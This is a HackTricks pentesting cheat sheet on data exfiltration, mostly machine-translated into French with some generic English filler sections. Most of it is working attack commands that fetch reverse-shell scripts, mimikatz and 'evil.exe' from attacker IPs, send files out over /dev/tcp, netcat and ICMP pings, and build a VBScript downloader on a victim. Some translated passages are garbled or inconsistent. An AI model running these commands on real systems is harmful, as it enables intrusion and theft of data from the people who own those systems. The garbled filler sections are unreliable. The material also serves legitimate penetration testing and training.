hacktricks/generic-methodologies-and-resources/exfiltration.md
2023-06-03 13:10:46 +00:00

26 KiB

Exfiltration

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Astuce de prime de bug : inscrivez-vous à Intigriti, une plateforme de prime de bug premium créée par des pirates, pour les pirates ! Rejoignez-nous sur https://go.intigriti.com/hacktricks aujourd'hui et commencez à gagner des primes allant jusqu'à 100 000 $ !

{% embed url="https://go.intigriti.com/hacktricks" %}

Copier et coller en Base64

Linux

base64 -w0 <file> #Encode file
base64 -d file #Decode file

Windows

certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll

HTTP

Linux

wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD

Windows

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Télécharger des fichiers

# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth: 
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt' 
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world

Serveur HTTPS


Description

An HTTPS server is a server that uses the HTTPS protocol to encrypt and secure the communication between the server and the client. This type of server is commonly used to host websites that require secure communication, such as online banking or e-commerce websites.

Exfiltration

An HTTPS server can be used to exfiltrate data by hosting a file on the server and then downloading it using a web browser or a script. The data can be encrypted using SSL/TLS to ensure that it is not intercepted during transmission.

To exfiltrate data using an HTTPS server, follow these steps:

  1. Set up an HTTPS server on a machine that is accessible from the internet.
  2. Create a file containing the data that you want to exfiltrate.
  3. Host the file on the HTTPS server.
  4. Download the file using a web browser or a script.

Detection

Detecting exfiltration using an HTTPS server can be difficult, as the traffic is encrypted and may be indistinguishable from legitimate HTTPS traffic. However, some indicators of exfiltration may include:

  • Unusual or unexpected HTTPS traffic.
  • Large amounts of data being transferred over HTTPS.
  • Suspicious file names or file types being hosted on the HTTPS server.

Prevention

To prevent exfiltration using an HTTPS server, consider implementing the following measures:

  • Monitor HTTPS traffic for unusual or unexpected activity.
  • Implement SSL/TLS encryption to protect data in transit.
  • Restrict access to HTTPS servers to authorized personnel only.
  • Use strong authentication mechanisms to prevent unauthorized access to HTTPS servers.
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)    
@app.route('/')    
def root():    
    print(request.get_json())
    return "OK"
if __name__ == "__main__":    
    app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###

FTP

Serveur FTP (python)

pip3 install pyftpdlib
python3 -m pyftpdlib -p 21

Serveur FTP (NodeJS)

Introduction

Le serveur FTP (File Transfer Protocol) est un protocole de transfert de fichiers largement utilisé pour transférer des fichiers entre des ordinateurs distants. Dans cette section, nous allons discuter de la configuration d'un serveur FTP en utilisant NodeJS.

Configuration

Pour configurer un serveur FTP en utilisant NodeJS, nous allons utiliser le module ftp-srv. Ce module fournit une API simple pour créer un serveur FTP.

Tout d'abord, nous devons installer le module ftp-srv en utilisant la commande suivante :

npm install ftp-srv

Ensuite, nous pouvons créer un serveur FTP en utilisant le code suivant :

const FtpSrv = require('ftp-srv');

const ftpServer = new FtpSrv({
  url: 'ftp://127.0.0.1:21',
  pasv_url: 'ftp://127.0.0.1:3000',
  greeting: 'Welcome to my FTP server'
});

ftpServer.on('login', ({connection, username, password}, resolve, reject) => {
  if (username === 'user' && password === 'pass') {
    resolve({root: '/path/to/root/directory'});
  } else {
    reject(new Error('Bad username or password'));
  }
});

ftpServer.listen()
  .then(() => {
    console.log('FTP server listening');
  });

Dans ce code, nous avons créé un serveur FTP qui écoute sur l'adresse ftp://127.0.0.1:21. Nous avons également spécifié l'adresse ftp://127.0.0.1:3000 pour le mode passif. Ensuite, nous avons défini un message de bienvenue pour le serveur.

Nous avons également ajouté un gestionnaire d'événements pour l'événement login. Dans ce gestionnaire, nous avons vérifié les informations d'identification de l'utilisateur et renvoyé le répertoire racine si les informations d'identification sont valides.

Enfin, nous avons démarré le serveur FTP en appelant la méthode listen().

Conclusion

Dans cette section, nous avons discuté de la configuration d'un serveur FTP en utilisant NodeJS. Nous avons utilisé le module ftp-srv pour créer un serveur FTP et avons configuré les informations d'identification de l'utilisateur et le répertoire racine.

sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp

Serveur FTP (pure-ftp)


Description

Pure-FTP est un serveur FTP open-source rapide, sécurisé et facile à configurer. Il est souvent utilisé pour transférer des fichiers entre des ordinateurs distants.

Exfiltration

Pure-FTP peut être utilisé pour exfiltrer des données en transférant des fichiers depuis le système compromis vers un serveur FTP distant. Pour ce faire, il est nécessaire de configurer le serveur FTP distant et de fournir les informations d'identification nécessaires pour y accéder.

Une fois que le serveur FTP est configuré, il est possible d'utiliser la commande put pour transférer des fichiers depuis le système compromis vers le serveur FTP distant. Par exemple :

put /path/to/local/file.txt remote_file.txt

Cette commande transférera le fichier file.txt situé dans le répertoire /path/to/local/ du système compromis vers le fichier remote_file.txt sur le serveur FTP distant.

Il est également possible d'utiliser la commande mput pour transférer plusieurs fichiers en une seule fois. Par exemple :

mput /path/to/local/files/*.*

Cette commande transférera tous les fichiers situés dans le répertoire /path/to/local/files/ du système compromis vers le serveur FTP distant.

Contre-mesures

Pour empêcher l'exfiltration de données via Pure-FTP, il est recommandé de limiter l'accès au serveur FTP distant en utilisant des règles de pare-feu et des listes de contrôle d'accès. Il est également recommandé de surveiller les connexions FTP pour détecter toute activité suspecte.

apt-get update && apt-get install pure-ftp
#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

Client Windows

#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt

SMB

Kali en tant que serveur

Exfiltration de données

Utilisation de smbclient

Si vous avez accès à un partage SMB, vous pouvez utiliser smbclient pour télécharger des fichiers.

smbclient //IP/SHARE -U username%password
smb: \> get file.txt

Utilisation de smbget

Si vous avez accès à un partage SMB, vous pouvez également utiliser smbget pour télécharger des fichiers.

smbget -U username%password smb://IP/SHARE/file.txt

Utilisation de impacket

Si vous avez des informations d'identification valides pour un utilisateur sur un domaine, vous pouvez utiliser impacket pour exfiltrer des données via SMB.

impacket-smbclient //IP/SHARE -no-pass -U 'DOMAIN/username%password'
smb: \> get file.txt

Utilisation de Metasploit

Si vous avez accès à un partage SMB, vous pouvez utiliser le module smb_download de Metasploit pour télécharger des fichiers.

use auxiliary/scanner/smb/smb_enumshares
use auxiliary/admin/smb/smb_download
set RHOSTS IP
set SMBUser username
set SMBPass password
set SHARE SHARE
set FILENAME file.txt
run

Exfiltration de données à partir de Windows

Utilisation de PowerShell

Vous pouvez utiliser PowerShell pour exfiltrer des données via SMB.

$cred = New-Object System.Management.Automation.PSCredential('DOMAIN\username',(ConvertTo-SecureString 'password' -AsPlainText -Force))
Copy-Item -Path C:\path\to\file.txt -Destination \\IP\SHARE -Credential $cred

Utilisation de bitsadmin

Vous pouvez également utiliser bitsadmin pour exfiltrer des données via SMB.

bitsadmin /transfer mydownloadjob /priority high \\IP\SHARE\file.txt C:\path\to\file.txt
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`

Ou créer un partage smb en utilisant samba:

apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
    comment = Samba on Ubuntu
    path = /tmp/smb
    read only = no
    browsable = yes
    guest ok = Yes
#Start samba
service smbd restart

Exfiltration

Introduction

Exfiltration is the process of stealing data from a target system and transferring it to an external location controlled by the attacker. In this section, we will discuss some techniques that can be used to exfiltrate data from a Windows system.

Techniques

FTP

FTP (File Transfer Protocol) is a standard network protocol used to transfer files from one host to another over a TCP-based network, such as the Internet. FTP can be used to exfiltrate data from a Windows system by uploading the data to an FTP server controlled by the attacker.

HTTP

HTTP (Hypertext Transfer Protocol) is an application protocol used for transmitting data over the Internet. HTTP can be used to exfiltrate data from a Windows system by sending the data to a web server controlled by the attacker.

DNS

DNS (Domain Name System) is a hierarchical and decentralized naming system for computers, services, or other resources connected to the Internet or a private network. DNS can be used to exfiltrate data from a Windows system by encoding the data in DNS queries and sending them to a DNS server controlled by the attacker.

ICMP

ICMP (Internet Control Message Protocol) is a network protocol used to send error messages and operational information about network conditions. ICMP can be used to exfiltrate data from a Windows system by encoding the data in ICMP packets and sending them to a server controlled by the attacker.

SMB

SMB (Server Message Block) is a network protocol used for sharing access to files, printers, and other resources between nodes on a network. SMB can be used to exfiltrate data from a Windows system by uploading the data to an SMB server controlled by the attacker.

Email

Email can be used to exfiltrate data from a Windows system by sending the data to an email account controlled by the attacker.

Conclusion

Exfiltration is a critical step in the attack lifecycle, and it is important for defenders to be aware of the various techniques that can be used to exfiltrate data from a Windows system. By understanding these techniques, defenders can better protect their systems and data from attackers.

CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:

SCP

L'attaquant doit avoir SSHd en cours d'exécution.

scp <username>@<Attacker_IP>:<directory>/<filename> 

SSHFS

Si la victime dispose de SSH, l'attaquant peut monter un répertoire de la victime vers l'attaquant.

sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/

NC

NC (Netcat) est un outil de réseau qui peut être utilisé pour transférer des données entre deux ordinateurs. Il peut être utilisé pour l'exfiltration de données en établissant une connexion entre la machine cible et la machine de l'attaquant. Une fois la connexion établie, les données peuvent être transférées de la machine cible à la machine de l'attaquant. NC peut également être utilisé pour écouter les connexions entrantes et recevoir des données de la machine cible.

nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file

/dev/tcp

Télécharger un fichier depuis la victime

nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim

Télécharger un fichier sur la victime

nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt

ICMP

Le protocole ICMP (Internet Control Message Protocol) est utilisé pour envoyer des messages d'erreur et de contrôle entre les hôtes sur un réseau IP. Les messages ICMP sont généralement utilisés pour diagnostiquer et résoudre les problèmes de connectivité réseau.

L'exfiltration de données via ICMP implique l'encapsulation des données dans des paquets ICMP. Les données sont divisées en fragments et encapsulées dans des paquets ICMP Echo Request. Les paquets ICMP sont ensuite envoyés à un hôte distant qui est configuré pour recevoir les paquets et extraire les données.

L'exfiltration de données via ICMP peut être difficile à détecter car les paquets ICMP sont souvent autorisés à travers les pare-feu et les dispositifs de sécurité réseau. Cependant, cette technique peut être détectée en surveillant le trafic réseau pour les paquets ICMP volumineux ou inhabituels.

# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
    if pkt.haslayer(ICMP):
        if pkt[ICMP].type == 0:
            data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
            print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)

SMTP

Si vous pouvez envoyer des données à un serveur SMTP, vous pouvez créer un serveur SMTP pour recevoir les données avec Python :

sudo python -m smtpd -n -c DebuggingServer :25

TFTP

Par défaut dans XP et 2003 (dans d'autres, il doit être explicitement ajouté lors de l'installation)

Dans Kali, démarrer le serveur TFTP :

#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp

Serveur TFTP en python:

import socketserver
import struct

class TFTPServer(socketserver.UDPServer):
    def __init__(self, server_address, RequestHandlerClass):
        socketserver.UDPServer.__init__(self, server_address, RequestHandlerClass)

class TFTPHandler(socketserver.BaseRequestHandler):
    def handle(self):
        data, socket = self.request
        opcode = struct.unpack("!H", data[:2])[0]
        if opcode == 1:
            filename = data[2:data.index(b'\0', 2)].decode('ascii')
            mode = data[data.index(b'\0', 2)+1:data.index(b'\0', data.index(b'\0', 2)+1)].decode('ascii')
            print("File requested: %s" % filename)
            print("Mode: %s" % mode)
            with open(filename, "rb") as f:
                file_data = f.read()
            block_num = 1
            while True:
                block = file_data[(block_num-1)*512:block_num*512]
                if not block:
                    break
                packet = struct.pack("!H", 3) + struct.pack("!H", block_num) + block
                socket.sendto(packet, self.client_address)
                block_num += 1
        else:
            print("Unknown opcode: %d" % opcode)

if __name__ == "__main__":
    HOST, PORT = "0.0.0.0", 69
    server = TFTPServer((HOST, PORT), TFTPHandler)
    server.serve_forever()

Ce code est un exemple de serveur TFTP écrit en Python. Le serveur écoute sur toutes les interfaces sur le port 69. Lorsqu'un client envoie une demande de fichier, le serveur répond avec le contenu du fichier demandé. Le serveur est capable de gérer les demandes de fichiers en mode netascii et octet.

pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>

Dans la victime, connectez-vous au serveur Kali :

tftp -i <KALI-IP> get nc.exe

PHP

Téléchargez un fichier avec une commande PHP en une ligne :

echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

VBScript

VBScript (Visual Basic Scripting Edition) est un langage de script Microsoft basé sur Visual Basic. Il est souvent utilisé pour automatiser des tâches dans les environnements Windows. VBScript peut être utilisé pour exfiltrer des données en utilisant des méthodes telles que l'envoi de courriels ou l'écriture de fichiers sur le disque dur. Il peut également être utilisé pour exécuter des commandes système et accéder à des ressources réseau. Les attaquants peuvent utiliser VBScript pour exfiltrer des données sensibles d'un système compromis.

Attacker> python -m SimpleHTTPServer 80

Victime

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe

Debug.exe

Il s'agit d'une technique folle qui fonctionne sur les machines Windows 32 bits. L'idée est d'utiliser le programme debug.exe. Il est utilisé pour inspecter les binaires, comme un débogueur. Mais il peut également les reconstruire à partir de l'hexadécimal. L'idée est donc que nous prenions des binaires, comme netcat. Et puis le désassembler en hexadécimal, le coller dans un fichier sur la machine compromise, puis l'assembler avec debug.exe.

Debug.exe ne peut assembler que 64 ko. Nous devons donc utiliser des fichiers plus petits que cela. Nous pouvons utiliser upx pour le compresser encore plus. Alors faisons cela:

upx -9 nc.exe

Maintenant, il ne pèse que 29 ko. Parfait. Maintenant, désassemblons-le :

wine exe2bat.exe nc.exe nc.txt

Maintenant, nous copions-colons simplement le texte dans notre shell Windows. Et cela créera automatiquement un fichier appelé nc.exe

DNS


Astuce de prime de bug bounty: inscrivez-vous sur Intigriti, une plateforme premium de bug bounty créée par des hackers, pour des hackers! Rejoignez-nous sur https://go.intigriti.com/hacktricks aujourd'hui et commencez à gagner des primes allant jusqu'à 100 000 $!

{% embed url="https://go.intigriti.com/hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥